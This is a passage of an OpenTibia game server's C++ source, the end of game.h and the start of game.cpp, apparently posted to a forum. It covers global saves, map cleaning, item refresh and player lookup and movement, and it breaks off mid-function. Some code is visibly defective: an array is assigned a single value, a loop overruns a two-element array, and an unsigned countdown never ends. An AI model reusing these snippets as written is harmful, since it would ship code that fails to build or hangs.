        size_t getStagesCount() const {return stages.size();}

        void setGlobalSaveMessage(int16_t key, bool value) {globalSaveMessage[key] = value;}
        bool getGlobalSaveMessage(int16_t key) const {return globalSaveMessage[key];}

        Map* getMap() {return map;}
        const Map* getMap() const {return map;}

        int32_t getLightHour() {return lightHour;}
        void startDecay(Item* item);
        void parsePlayerExtendedOpcode(uint32_t playerId, uint8_t opcode, const std::string& buffer);

    protected:
        bool playerWhisper(Player* player, const std::string& text);
        bool playerYell(Player* player, const std::string& text);
        bool playerSpeakTo(Player* player, SpeakClasses type, const std::string& receiver, const std::string& text);
        bool playerTalkToChannel(Player* player, SpeakClasses type, const std::string& text, uint16_t channelId);
        bool playerSpeakToNpc(Player* player, const std::string& text);
        bool playerReportRuleViolation(Player* player, const std::string& text);
        bool playerContinueReport(Player* player, const std::string& text);

        struct GameEvent
        {
            int64_t tick;
            int32_t type;
            void* data;
        };

        std::vector<Thing*> releaseThings;
        std::map<Item*, uint32_t> tradeItems;
        AutoList<Creature> autoList;
        RuleViolationsMap ruleViolations;

        size_t checkCreatureLastIndex;
        std::vector<Creature*> checkCreatureVectors[EVENT_CREATURECOUNT];
        std::vector<Creature*> toAddCheckCreatureVector;

        void checkDecay();
        void internalDecayItem(Item* item);

        typedef std::list<Item*> DecayList;
        DecayList decayItems[EVENT_DECAYBUCKETS];
        DecayList toDecayItems;
        size_t lastBucket;

        static const int32_t LIGHT_LEVEL_DAY = 250;
        static const int32_t LIGHT_LEVEL_NIGHT = 40;
        static const int32_t SUNSET = 1305;
        static const int32_t SUNRISE = 430;
        int32_t lightLevel, lightHour, lightHourDelta;
        LightState_t lightState;

        GameState_t gameState;
        WorldType_t worldType;

        ServiceManager* services;
        Map* map;

        std::string lastMotd;
        int32_t lastMotdId;
        uint32_t playersRecord;
        uint32_t checkLightEvent, checkCreatureEvent, checkDecayEvent, saveEvent;
        bool globalSaveMessage[2];

        RefreshTiles refreshTiles;
        Trash trash;

        StageList stages;
        uint32_t lastStageLevel;

        Highscore highscoreStorage[9];
        time_t lastHighscoreCheck;
};
#endif
 

game.cpp

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////
#include "otpch.h"
#include "game.h"

#include "configmanager.h"
#ifdef __LOGIN_SERVER__
#include "gameservers.h"
#endif
#include "server.h"
#include "chat.h"

#include "luascript.h"
#include "creature.h"
#include "combat.h"
#include "tile.h"

#include "database.h"
#include "iologindata.h"
#include "ioban.h"
#include "ioguild.h"

#include "items.h"
#include "container.h"
#include "monsters.h"

#include "house.h"
#include "quests.h"

#include "actions.h"
#include "globalevent.h"
#include "movement.h"
#include "raids.h"
#include "scriptmanager.h"
#include "spells.h"
#include "talkaction.h"
#include "weapons.h"

#include "vocation.h"
#include "group.h"
#include "textlogger.h"

#ifdef __EXCEPTION_TRACER__
#include "exception.h"
#endif

extern ConfigManager g_config;
extern Actions* g_actions;
extern Monsters g_monsters;
extern Npcs g_npcs;
extern Chat g_chat;
extern TalkActions* g_talkActions;
extern Spells* g_spells;
extern MoveEvents* g_moveEvents;
extern Weapons* g_weapons;
extern CreatureEvents* g_creatureEvents;
extern GlobalEvents* g_globalEvents;

Game::Game()
{
    gameState = GAME_STATE_NORMAL;
    worldType = WORLD_TYPE_PVP;
    map = NULL;
    playersRecord = lastStageLevel = 0;
    for(int32_t i = 0; i < 3; i++)
        globalSaveMessage = false;

    //(1440 minutes/day) * 10 seconds event interval / (3600 seconds/day)
    lightHourDelta = 1440 * 10 / 3600;
    lightHour = SUNRISE + (SUNSET - SUNRISE) / 2;
    lightLevel = LIGHT_LEVEL_DAY;
    lightState = LIGHT_STATE_DAY;

    lastBucket = checkCreatureLastIndex = checkLightEvent = checkCreatureEvent = checkDecayEvent = saveEvent = 0;
}

Game::~Game()
{
    blacklist.clear();
    if(map)
        delete map;
}

void Game::start(ServiceManager* servicer)
{
    checkDecayEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL,
        boost::bind(&Game::checkDecay, this)));
    checkCreatureEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_CREATURE_THINK_INTERVAL,
        boost::bind(&Game::checkCreatures, this)));
    checkLightEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL,
        boost::bind(&Game::checkLight, this)));

    services = servicer;
    if(g_config.getBool(ConfigManager::GLOBALSAVE_ENABLED) && g_config.getNumber(ConfigManager::GLOBALSAVE_H) >= 1
        && g_config.getNumber(ConfigManager::GLOBALSAVE_H) <= 24)
    {
        int32_t prepareGlobalSaveHour = g_config.getNumber(ConfigManager::GLOBALSAVE_H) - 1, hoursLeft = 0, minutesLeft = 0, minutesToRemove = 0;
        bool ignoreEvent = false;

        time_t timeNow = time(NULL);
        const tm* theTime = localtime(&timeNow);
        if(theTime->tm_hour > prepareGlobalSaveHour)
        {
            hoursLeft = 24 - (theTime->tm_hour - prepareGlobalSaveHour);
            if(theTime->tm_min > 55 && theTime->tm_min <= 59)
                minutesToRemove = theTime->tm_min - 55;
            else
                minutesLeft = 55 - theTime->tm_min;
        }
        else if(theTime->tm_hour == prepareGlobalSaveHour)
        {
            if(theTime->tm_min >= 55 && theTime->tm_min <= 59)
            {
                if(theTime->tm_min >= 57)
                    setGlobalSaveMessage(0, true);

                if(theTime->tm_min == 59)
                    setGlobalSaveMessage(1, true);

                prepareGlobalSave();
                ignoreEvent = true;
            }
            else
                minutesLeft = 55 - theTime->tm_min;
        }
        else
        {
            hoursLeft = prepareGlobalSaveHour - theTime->tm_hour;
            if(theTime->tm_min > 55 && theTime->tm_min <= 59)
                minutesToRemove = theTime->tm_min - 55;
            else
                minutesLeft = 55 - theTime->tm_min;
        }

        uint32_t hoursLeftInMs = 60000 * 60 * hoursLeft, minutesLeftInMs = 60000 * (minutesLeft - minutesToRemove);
        if(!ignoreEvent && (hoursLeftInMs + minutesLeftInMs) > 0)
            saveEvent = Scheduler::getInstance().addEvent(createSchedulerTask(hoursLeftInMs + minutesLeftInMs,
                boost::bind(&Game::prepareGlobalSave, this)));
    }
}

void Game::loadGameState()
{
    ScriptEnviroment::loadGameState();
    loadMotd();
    loadPlayersRecord();
    checkHighscores();
}

void Game::setGameState(GameState_t newState)
{
    if(gameState == GAME_STATE_SHUTDOWN)
        return; //this cannot be stopped

    if(gameState != newState)
    {
        gameState = newState;
        switch(newState)
        {
            case GAME_STATE_INIT:
            {
                Spawns::getInstance()->startup();
                Raids::getInstance()->loadFromXml();
                Raids::getInstance()->startup();
                Quests::getInstance()->loadFromXml();

                loadGameState();
                g_globalEvents->startup();

                IOBan::getInstance()->clearTemporials();
                if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT))
                    IOLoginData::getInstance()->updatePremiumDays();
                break;
            }

            case GAME_STATE_SHUTDOWN:
            {
                g_globalEvents->execute(GLOBAL_EVENT_SHUTDOWN);
                AutoList<Player>::iterator it = Player::autoList.begin();
                while(it != Player::autoList.end()) //kick all players that are still online
                {
                    it->second->kickPlayer(true, true);
                    it = Player::autoList.begin();
                }

                Houses::getInstance()->payHouses();
                saveGameState(false);
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::shutdown, this)));

                Scheduler::getInstance().stop();
                Dispatcher::getInstance().stop();
                break;
            }

            case GAME_STATE_CLOSED:
            {
                AutoList<Player>::iterator it = Player::autoList.begin();
                while(it != Player::autoList.end()) //kick all players who not allowed to stay
                {
                    if(!it->second->hasFlag(PlayerFlag_CanAlwaysLogin))
                    {
                        it->second->kickPlayer(true, true);
                        it = Player::autoList.begin();
                    }
                    else
                        ++it;
                }

                saveGameState(false);
                break;
            }

            case GAME_STATE_NORMAL:
            case GAME_STATE_MAINTAIN:
            case GAME_STATE_STARTUP:
            case GAME_STATE_CLOSING:
            default:
                break;
        }
    }
}

void Game::saveGameState(bool shallow)
{
    std::cout << "> Saving server..." << std::endl;
    uint64_t start = OTSYS_TIME();
    if(gameState == GAME_STATE_NORMAL)
        setGameState(GAME_STATE_MAINTAIN);

    IOLoginData* io = IOLoginData::getInstance();
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        it->second->loginPosition = it->second->getPosition();
        io->savePlayer(it->second, false, shallow);
    }

    std::string storage = "relational";
    if(g_config.getBool(ConfigManager::HOUSE_STORAGE))
        storage = "binary";

    map->saveMap();
    ScriptEnviroment::saveGameState();
    if(gameState == GAME_STATE_MAINTAIN)
        setGameState(GAME_STATE_NORMAL);

    std::cout << "> SAVE: Complete in " << (OTSYS_TIME() - start) / (1000.) << " seconds using " << storage << " house storage." << std::endl;
}

int32_t Game::loadMap(std::string filename)
{
    if(!map)
        map = new Map;

    return map->loadMap(getFilePath(FILE_TYPE_OTHER, std::string("world/" + filename + ".otbm")));
}

void Game::cleanMap(uint32_t& count)
{
    uint64_t start = OTSYS_TIME();
    uint32_t tiles = 0; count = 0;

    int32_t marked = -1;
    if(gameState == GAME_STATE_NORMAL)
        setGameState(GAME_STATE_MAINTAIN);

    Tile* tile = NULL;
    ItemVector::iterator tit;
    if(g_config.getBool(ConfigManager::STORE_TRASH))
    {
        marked = trash.size();
        Trash::iterator it = trash.begin();
        if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES))
        {
            for(; it != trash.end(); ++it)
            {
                if(!(tile = getTile(*it)))
                    continue;

                tile->resetFlag(TILESTATE_TRASHED);
                if(tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList())
                    continue;

                ++tiles;
                tit = tile->getItemList()->begin();
                while(tile->getItemList() && tit != tile->getItemList()->end())
                {
                    if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                        && !(*tit)->isScriptProtected())
                    {
                        internalRemoveItem(NULL, *tit);
                        if(tile->getItemList())
                            tit = tile->getItemList()->begin();

                        ++count;
                    }
                    else
                        ++tit;
                }
            }

            trash.clear();
        }
        else
        {
            for(; it != trash.end(); ++it)
            {
                if(!(tile = getTile(*it)))
                    continue;

                tile->resetFlag(TILESTATE_TRASHED);
                if(tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList())
                    continue;

                ++tiles;
                tit = tile->getItemList()->begin();
                while(tile->getItemList() && tit != tile->getItemList()->end())
                {
                    if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                        && !(*tit)->isScriptProtected())
                    {
                        internalRemoveItem(NULL, *tit);
                        if(tile->getItemList())
                            tit = tile->getItemList()->begin();

                        ++count;
                    }
                    else
                        ++tit;
                }
            }

            trash.clear();
        }
    }
    else if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES))
    {
        for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++)
        {
            for(uint16_t y = 1; y <= map->mapHeight; y++)
            {
                for(uint16_t x = 1; x <= map->mapWidth; x++)
                {
                    if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList())
                        continue;

                    ++tiles;
                    tit = tile->getItemList()->begin();
                    while(tile->getItemList() && tit != tile->getItemList()->end())
                    {
                        if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                            && !(*tit)->isScriptProtected())
                        {
                            internalRemoveItem(NULL, *tit);
                            if(tile->getItemList())
                                tit = tile->getItemList()->begin();

                            ++count;
                        }
                        else
                            ++tit;
                    }
                }
            }
        }
    }
    else
    {
        for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++)
        {
            for(uint16_t y = 1; y <= map->mapHeight; y++)
            {
                for(uint16_t x = 1; x <= map->mapWidth; x++)
                {
                    if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList())
                        continue;

                    ++tiles;
                    tit = tile->getItemList()->begin();
                    while(tile->getItemList() && tit != tile->getItemList()->end())
                    {
                        if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                            && !(*tit)->isScriptProtected())
                        {
                            internalRemoveItem(NULL, *tit);
                            if(tile->getItemList())
                                tit = tile->getItemList()->begin();

                            ++count;
                        }
                        else
                            ++tit;
                    }
                }
            }
        }
    }

    if(gameState == GAME_STATE_MAINTAIN)
        setGameState(GAME_STATE_NORMAL);

    std::cout << "> CLEAN: Removed " << count << " item" << (count != 1 ? "s" : "")
        << " from " << tiles << " tile" << (tiles != 1 ? "s" : "");
    if(marked >= 0)
        std::cout << " (" << marked << " were marked)";

    std::cout << " in " << (OTSYS_TIME() - start) / (1000.) << " seconds." << std::endl;
}

void Game::proceduralRefresh(RefreshTiles::iterator* it/* = NULL*/)
{
    if(!it)
        it = new RefreshTiles::iterator(refreshTiles.begin());

    // Refresh 250 tiles each cycle
    refreshMap(it, 250);
    if((*it) != refreshTiles.end())
    {
        delete it;
        return;
    }

    // Refresh some items every 100 ms until all tiles has been checked
    // For 100k tiles, this would take 100000/2500 = 40s = half a minute
    Scheduler::getInstance().addEvent(createSchedulerTask(100,
        boost::bind(&Game::proceduralRefresh, this, it)));
}

void Game::refreshMap(RefreshTiles::iterator* it/* = NULL*/, uint32_t limit/* = 0*/)
{
    RefreshTiles::iterator end = refreshTiles.end();
    if(!it)
    {
        RefreshTiles::iterator begin = refreshTiles.begin();
        it = &begin;
    }

    Tile* tile = NULL;
    TileItemVector* items = NULL;

    Item* item = NULL;
    for(uint32_t cleaned = 0, downItemsSize = 0; (*it) != end &&
        (limit ? (cleaned < limit) : true); ++(*it), ++cleaned)
    {
        if(!(tile = (*it)->first))
            continue;

        if((items = tile->getItemList()))
        {
            downItemsSize = tile->getDownItemCount();
            for(uint32_t i = downItemsSize - 1; i >= 0; --i)
            {
                if((item = items->at(i)))
                {
                    #ifndef __DEBUG__
                    internalRemoveItem(NULL, item);
                    #else
                    if(internalRemoveItem(NULL, item) != RET_NOERROR)
                    {
                        std::cout << "> WARNING: Could not refresh item: " << item->getID();
                        std::cout << " at position: " << tile->getPosition() << std::endl;
                    }
                    #endif
                }
            }
        }

        cleanup();
        TileItemVector list = (*it)->second.list;
        for(ItemVector::reverse_iterator it = list.rbegin(); it != list.rend(); ++it)
        {
            Item* item = (*it)->clone();
            if(internalAddItem(NULL, tile, item , INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR)
            {
                if(item->getUniqueId() != 0)
                    ScriptEnviroment::addUniqueThing(item);

                startDecay(item);
            }
            else
            {
                std::cout << "> WARNING: Could not refresh item: " << item->getID()
                    << " at position: " << tile->getPosition() << std::endl;
                delete item;
            }
        }
    }
}

Cylinder* Game::internalGetCylinder(Player* player, const Position& pos)
{
    if(pos.x != 0xFFFF)
        return getTile(pos);

    //container
    if(pos.y & 0x40)
    {
        uint8_t fromCid = pos.y & 0x0F;
        return player->getContainer(fromCid);
    }

    return player;
}

Thing* Game::internalGetThing(Player* player, const Position& pos, int32_t index,
    uint32_t spriteId/* = 0*/, stackposType_t type/* = STACKPOS_NORMAL*/)
{
    if(pos.x != 0xFFFF)
    {
        Tile* tile = getTile(pos);
        if(!tile)
            return NULL;

        if(type == STACKPOS_LOOK)
            return tile->getTopVisibleThing(player);

        Thing* thing = NULL;
        switch(type)
        {
            case STACKPOS_MOVE:
            {
                Item* item = tile->getTopDownItem();
                if(item && item->isMoveable())
                    thing = item;
                else
                    thing = tile->getTopVisibleCreature(player);

                break;
            }

            case STACKPOS_USE:
            {
                thing = tile->getTopDownItem();
                break;
            }

            case STACKPOS_USEITEM:
            {
                Item* downItem = tile->getTopDownItem();
                Item* item = tile->getItemByTopOrder(2);
                if(item && g_actions->hasAction(item))
                {
                    const ItemType& it = Item::items[item->getID()];
                    if(!downItem || (!it.hasHeight && !it.allowPickupable))
                        thing = item;
                }

                if(!thing)
                    thing = downItem;

                if(!thing)
                    thing = tile->getTopTopItem();

                if(!thing)
                    thing = tile->ground;

                break;
            }

            default:
                thing = tile->__getThing(index);
                break;
        }

        if(player && thing && thing->getItem())
        {
            if(tile->hasProperty(ISVERTICAL))
            {
                if(player->getPosition().x + 1 == tile->getPosition().x)
                    thing = NULL;
            }
            else if(tile->hasProperty(ISHORIZONTAL) && player->getPosition().y + 1 == tile->getPosition().y)
                thing = NULL;
        }

        return thing;
    }
    else if(pos.y & 0x40)
    {
        uint8_t fromCid = pos.y & 0x0F, slot = pos.z;
        if(Container* parentcontainer = player->getContainer(fromCid))
            return parentcontainer->getItem(slot);
    }
    else if(!pos.y && !pos.z)
    {
        const ItemType& it = Item::items.getItemIdByClientId(spriteId);
        if(!it.id)
            return NULL;

        int32_t subType = -1;
        if(it.isFluidContainer() && index < int32_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
            subType = reverseFluidMap[index];

        return findItemOfType(player, it.id, true, subType);
    }

    return player->getInventoryItem((slots_t)static_cast<uint8_t>(pos.y));
}

void Game::internalGetPosition(Item* item, Position& pos, int16_t& stackpos)
{
    pos.x = pos.y = pos.z = stackpos = 0;
    if(Cylinder* topParent = item->getTopParent())
    {
        if(Player* player = dynamic_cast<Player*>(topParent))
        {
            pos.x = 0xFFFF;

            Container* container = dynamic_cast<Container*>(item->getParent());
            if(container)
            {
                pos.y = ((uint16_t) ((uint16_t)0x40) | ((uint16_t)player->getContainerID(container)) );
                pos.z = container->__getIndexOfThing(item);
                stackpos = pos.z;
            }
            else
            {
                pos.y = player->__getIndexOfThing(item);
                stackpos = pos.y;
            }
        }
        else if(Tile* tile = topParent->getTile())
        {
            pos = tile->getPosition();
            stackpos = tile->__getIndexOfThing(item);
        }
    }
}

Creature* Game::getCreatureByID(uint32_t id)
{
    if(!id)
        return NULL;

    AutoList<Creature>::iterator it = autoList.find(id);
    if(it != autoList.end() && !it->second->isRemoved())
        return it->second;

    return NULL; //just in case the player doesnt exist
}

Player* Game::getPlayerByID(uint32_t id)
{
    if(!id)
        return NULL;

    AutoList<Player>::iterator it = Player::autoList.find(id);
    if(it != Player::autoList.end() && !it->second->isRemoved())
        return it->second;

    return NULL; //just in case the player doesnt exist
}

Creature* Game::getCreatureByName(std::string s)
{
    if(s.empty())
        return NULL;

    toLowerCaseString(s);
    for(AutoList<Creature>::iterator it = autoList.begin(); it != autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
            return it->second;
    }

    return NULL; //just in case the creature doesnt exist
}

Player* Game::getPlayerByName(std::string s)
{
    if(s.empty())
        return NULL;

    toLowerCaseString(s);
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
            return it->second;
    }

    return NULL;
}

Player* Game::getPlayerByNameEx(const std::string& s)
{
    Player* player = getPlayerByName(s);
    if(player)
        return player;

    std::string name = s;
    if(!IOLoginData::getInstance()->playerExists(name))
        return NULL;

    player = new Player(name, NULL);
    if(IOLoginData::getInstance()->loadPlayer(player, name))
        return player;

#ifdef __DEBUG__
    std::cout << "[Failure - Game::getPlayerByNameEx] Cannot load player: " << name << std::endl;
#endif
    delete player;
    return NULL;
}

Player* Game::getPlayerByGuid(uint32_t guid)
{
    if(!guid)
        return NULL;

    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && it->second->getGUID() == guid)
            return it->second;
    }

    return NULL;
}

Player* Game::getPlayerByGuidEx(uint32_t guid)
{
    Player* player = getPlayerByGuid(guid);
    if(player)
        return player;

    std::string name;
    if(!IOLoginData::getInstance()->getNameByGuid(guid, name))
        return NULL;

    player = new Player(name, NULL);
    if(IOLoginData::getInstance()->loadPlayer(player, name))
        return player;

#ifdef __DEBUG__
    std::cout << "[Failure - Game::getPlayerByGuidEx] Cannot load player: " << name << std::endl;
#endif
    delete player;
    return NULL;
}

ReturnValue Game::getPlayerByNameWildcard(std::string s, Player*& player)
{
    player = NULL;
    if(s.empty())
        return RET_PLAYERWITHTHISNAMEISNOTONLINE;

    char tmp = *s.rbegin();
    if(tmp != '~' && tmp != '*')
    {
        player = getPlayerByName(s);
        if(!player)
            return RET_PLAYERWITHTHISNAMEISNOTONLINE;

        return RET_NOERROR;
    }

    Player* last = NULL;
    s = s.substr(0, s.length() - 1);

    toLowerCaseString(s);
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(it->second->isRemoved())
            continue;

        std::string name = asLowerCaseString(it->second->getName());
        if(name.substr(0, s.length()) != s)
            continue;

        if(last)
            return RET_NAMEISTOOAMBIGUOUS;

        last = it->second;
    }

    if(!last)
        return RET_PLAYERWITHTHISNAMEISNOTONLINE;

    player = last;
    return RET_NOERROR;
}

Player* Game::getPlayerByAccount(uint32_t acc)
{
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && it->second->getAccount() == acc)
            return it->second;
    }

    return NULL;
}

PlayerVector Game::getPlayersByName(std::string s)
{
    toLowerCaseString(s);
    PlayerVector players;
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
            players.push_back(it->second);
    }

    return players;
}

PlayerVector Game::getPlayersByAccount(uint32_t acc)
{
    PlayerVector players;
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && it->second->getAccount() == acc)
            players.push_back(it->second);
    }

    return players;
}

PlayerVector Game::getPlayersByIP(uint32_t ip, uint32_t mask)
{
    PlayerVector players;
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
    {
        if(!it->second->isRemoved() && (it->second->getIP() & mask) == (ip & mask))
            players.push_back(it->second);
    }

    return players;
}

bool Game::internalPlaceCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/)
{
    if(creature->getParent())
        return false;

    if(!map->placeCreature(pos, creature, extendedPos, forced))
        return false;

    creature->addRef();
    creature->setID();

    autoList[creature->getID()] = creature;
    creature->addList();
    return true;
}

bool Game::placeCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/)
{
    Player* tmpPlayer = NULL;
    if((tmpPlayer = creature->getPlayer()) && !tmpPlayer->storedConditionList.empty())
    {
        for(ConditionList::iterator it = tmpPlayer->storedConditionList.begin(); it != tmpPlayer->storedConditionList.end(); ++it)
        {
            if((*it)->getType() == CONDITION_MUTED && ((*it)->getTicks() - (
                (time(NULL) - tmpPlayer->getLastLogout()) * 1000)) <= 0)
                continue;

            tmpPlayer->addCondition(*it);
        }

        tmpPlayer->storedConditionList.clear();
    }

    if(!internalPlaceCreature(creature, pos, extendedPos, forced))
        return false;

    SpectatorVec::iterator it;
    SpectatorVec list;

    getSpectators(list, creature->getPosition(), false, true);
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureAppear(creature);
    }

    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureAppear(creature);

    creature->setLastPosition(pos);
    creature->getParent()->postAddNotification(NULL, creature, NULL, creature->getParent()->__getIndexOfThing(creature));
    addCreatureCheck(creature);

    creature->onPlacedCreature();
    return true;
}

ReturnValue Game::placeSummon(Creature* creature, const std::string& name)
{
    Monster* monster = Monster::createMonster(name);
    if(!monster)
        return RET_NOTPOSSIBLE;

    // Place the monster
    creature->addSummon(monster);
    if(placeCreature(monster, creature->getPosition(), true))
        return RET_NOERROR;

    creature->removeSummon(monster);
    return RET_NOTENOUGHROOM;
}

bool Game::removeCreature(Creature* creature, bool isLogout /*= true*/)
{
    if(creature->isRemoved())
        return false;

    Tile* tile = creature->getTile();
    SpectatorVec list;

    SpectatorVec::iterator it;
    getSpectators(list, tile->getPosition(), false, true);

    Player* player = NULL;
    std::vector<uint32_t> oldStackPosVector;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((player = (*it)->getPlayer()) && player->canSeeCreature(creature))
            oldStackPosVector.push_back(tile->getClientIndexOfThing(player, creature));
    }

    int32_t oldIndex = tile->__getIndexOfThing(creature);
    if(!map->removeCreature(creature))
        return false;

    //send to client
    uint32_t i = 0;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if(!(player = (*it)->getPlayer()) || !player->canSeeCreature(creature))
            continue;

        player->sendCreatureDisappear(creature, oldStackPosVector);
        ++i;
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureDisappear(creature, isLogout);

    creature->getParent()->postRemoveNotification(NULL, creature, NULL, oldIndex, true);
    creature->onRemovedCreature();

    autoList.erase(creature->getID());
    freeThing(creature);

    removeCreatureCheck(creature);
    for(std::list<Creature*>::iterator it = creature->summons.begin(); it != creature->summons.end(); ++it)
        removeCreature(*it);

    return true;
}

bool Game::playerMoveThing(uint32_t playerId, const Position& fromPos,
    uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    uint8_t fromIndex = 0;
    if(fromPos.x == 0xFFFF)
    {
        if(fromPos.y & 0x40)
            fromIndex = static_cast<uint8_t>(fromPos.z);
        else
            fromIndex = static_cast<uint8_t>(fromPos.y);
    }
    else
        fromIndex = fromStackpos;

    Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE);
    Cylinder* toCylinder = internalGetCylinder(player, toPos);
    if(!thing || !toCylinder)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if(Creature* movingCreature = thing->getCreature())
    {
        uint32_t delay = g_config.getNumber(ConfigManager::PUSH_CREATURE_DELAY);
        if(Position::areInRange<1,1,0>(movingCreature->getPosition(), player->getPosition()) && delay > 0)
        {
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature, this,
                player->getID(), movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition()));
            player->setNextActionTask(task);
        }
        else
            playerMoveCreature(playerId, movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition());
    }
    else if(thing->getItem())
        playerMoveItem(playerId, fromPos, spriteId, fromStackpos, toPos, count);

    return true;
}

bool Game::playerMoveCreature(uint32_t playerId, uint32_t movingCreatureId,
    const Position& movingCreaturePos, const Position& toPos)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveCreatures))
        return false;

    if(!player->canDoAction())
    {
        uint32_t delay = player->getNextActionTime();
        SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature,
            this, playerId, movingCreatureId, movingCreaturePos, toPos));

        player->setNextActionTask(task);
        return false;
    }

    Creature* movingCreature = getCreatureByID(movingCreatureId);
    if(!movingCreature || movingCreature->isRemoved() || movingCreature->getNoMove())
        return false;

    player->setNextActionTask(NULL);
    if(!Position::areInRange<1,1,0>(movingCreaturePos, player->getPosition()) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
    {
        //need to walk to the creature first before moving it
        std::list<Direction> listDir;
        if(getPathToEx(player, movingCreaturePos, listDir, 0, 1, true, true))
        {
            Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                this, player->getID(), listDir)));
            SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveCreature, this,
                playerId, movingCreatureId, movingCreaturePos, toPos));

            player->setNextWalkActionTask(task);
            return true;
        }

        player->sendCancelMessage(RET_THEREISNOWAY);
        return false;
    }

    Tile* toTile = map->getTile(toPos);
    if(!toTile)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if((!movingCreature->isPushable() && !player->hasFlag(PlayerFlag_CanPushAllCreatures)) || !player->canSeeCreature(movingCreature))
    {
        player->sendCancelMessage(RET_NOTMOVEABLE);
        return false;
    }

    //check throw distance
    const Position& pos = movingCreature->getPosition();
    if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere) && ((std::abs(pos.x - toPos.x) > movingCreature->getThrowRange()) || (std::abs(
        pos.y - toPos.y) > movingCreature->getThrowRange()) || (std::abs(
        pos.z - toPos.z) * 4 > movingCreature->getThrowRange())))
    {
        player->sendCancelMessage(RET_DESTINATIONOUTOFREACH);
        return false;
    }

    if(player != movingCreature)
    {
        if(toTile->hasProperty(BLOCKPATH))
        {
            player->sendCancelMessage(RET_NOTENOUGHROOM);
            return false;
        }

        if((movingCreature->getZone() == ZONE_PROTECTION || movingCreature->getZone() == ZONE_NOPVP)
            && !toTile->hasFlag(TILESTATE_NOPVPZONE) && !toTile->hasFlag(TILESTATE_PROTECTIONZONE)
            && !player->hasFlag(PlayerFlag_IgnoreProtectionZone))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(toTile->getCreatures() && !toTile->getCreatures()->empty()
            && !player->hasFlag(PlayerFlag_CanPushAllCreatures))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }
    }

    bool deny = false;
    CreatureEventList pushEvents = player->getCreatureEvents(CREATURE_EVENT_PUSH);
    for(CreatureEventList::iterator it = pushEvents.begin(); it != pushEvents.end(); ++it)
    {
